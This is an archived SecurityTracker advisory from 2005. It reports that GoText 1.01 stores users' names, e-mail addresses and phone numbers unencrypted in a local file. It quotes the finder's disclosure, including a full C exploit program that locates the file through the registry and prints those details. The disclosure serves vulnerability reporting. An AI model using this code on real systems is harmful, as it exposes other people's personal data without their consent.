SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Generic)  >   GoText Vendors:   StumbleInside Software
GoText Discloses Users Configuration Data to Local Users
SecurityTracker Alert ID:  1013825
SecurityTracker URL:  http://securitytracker.com/id/1013825
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Apr 28 2005
Impact:   Disclosure of user information
Exploit Included:  Yes  
Version(s): 1.01
Description:   Kozan reported a vulnerability in GoText. A local user can view user configuration data.

The software stores user information, including username, e-mail address, and phone number in the 'Program Files\GoText\GoText.bin' file. A local user can view the information.

Impact:   A local user can view user configuration data.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.stumbleinside.com/ (Links to External Site)
Cause:   Access control error
Underlying OS:   Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Wed, 27 Apr 2005 23:25:30 +0300
Subject:  GoText 1.01 discloses user informations to local users.


---------------------
Application:
---------------------

GoText v1.01


---------------------
Introduction:
---------------------

Vendor: StumbleInside Software
http://www.stumbleinside.com


Vendor Description:  GoText is a text messaging application
that allows you to send SMS text messages from your PC to
your friend's phone. It is easier and faster than using your
phone, and it could even save you a buck or two in messaging
charges. It is the perfect solution for when you are sitting
around the dorm room or the apartment and have quick access
to a PC. When you send messages, your friend can reply to your
phone number or an email address (if their carrier supports it)
just as if you had sent the message from your phone. Features
include Address Book, Recent Numbers Lists, Auto Message Splitting
of long messages, Multiple Recipient Support, Command Line Support.



---------------------
Bug:
---------------------


GoText v1.01 stores all the user informations in
"Program Files\GoText\GoText.bin"
file with plain text format without crypting and can be
viewed by a local user.


---------------------
Vendor Confirmed:
---------------------
No.


---------------------
Fix:
---------------------
There is no solution at the time of this entry.



---------------------
Exploit:
---------------------


/*******************************************************************

GoText 1.01 Local User Informations Disclosure Exploit by Kozan

Application: GoText 1.01
Vendor: StumbleInside Software - www.stumbleinside.com
Vulnerable Description: GoText 1.01 discloses user informations
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web: www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*******************************************************************/

#include <stdio.h>
#include <string.h>
#include <windows.h>


HKEY hKey;
#define BUFSIZE 100
char prgfiles[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int adresal(char *FilePath,char *Str)
{
char kr;
int Sayac=0;
int Offset=-1;
FILE *di;
di=fopen(FilePath,"rb");

if( di == NULL )
{
fclose(di);
return -1;
}

while(!feof(di))
{
Sayac++;
for(int i=0;i<strlen(Str);i++)
{
kr=getc(di);
if(kr != Str[i])
{
if( i>0 )
{
fseek(di,Sayac+1,SEEK_SET);
}
break;
}
if( i > ( strlen(Str)-2 ) )
{
Offset = ftell(di)-strlen(Str);
fclose(di);
return Offset;
}
}
}
fclose(di);
return -1;
}


char *oku(char *FilePath,char *Str)
{

FILE *di;
char cr;
int i=0;
char Feature[500];

int Offset = adresal(FilePath,Str);

if( Offset == -1 )
return "";

if( (di=fopen(FilePath,"rb")) == NULL )
return "";

fseek(di,Offset+strlen(Str),SEEK_SET);

while(!feof(di))
{
cr=getc(di);
if(cr == 0x0D)
break;
Feature[i] = cr;
i++;
}

Feature[i] = '\0';
fclose(di);
return Feature;
}


int main()
{
	if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion",0,KEY_QUERY_VALUE,&hKey)
== ERROR_SUCCESS)
	{

		lRet = RegQueryValueEx( hKey, "ProgramFilesDir", NULL, NULL,(LPBYTE) prgfiles,
&dwBufLen);

		if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) )
		{
			RegCloseKey(hKey);
			printf("An error occured!\n");
			exit(1);
		}

		RegCloseKey(hKey);

	}
	else
	{
		RegCloseKey(hKey);
		printf("An error occured!\n");
		exit(1);
	}

	strcat(prgfiles,"\\GoText\\GoText.bin");

	printf("GoText 1.01 Local User Informations Disclosure Exploit by Kozan\n");
	printf("Credits to ATmaCA\n");
	printf("www.netmagister.com - www.spyinstructors.com \n");
	printf("kozan@netmagister.com \n\n");

	char UserName[BUFSIZE], MailAddress[BUFSIZE], PhoneNumber[BUFSIZE];

	strcpy(UserName,oku(prgfiles,"MyName="));
	strcpy(MailAddress,oku(prgfiles,"MyEmail="));
	strcpy(PhoneNumber,oku(prgfiles,"MyNumber="));

	printf("User Name    : %s\n",UserName);
	printf("Mail Address : %s\n",MailAddress);
	printf("Phone Number : %s\n",PhoneNumber);

	return 0;
}




Kozan...
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2012, SecurityGlobal.net LLC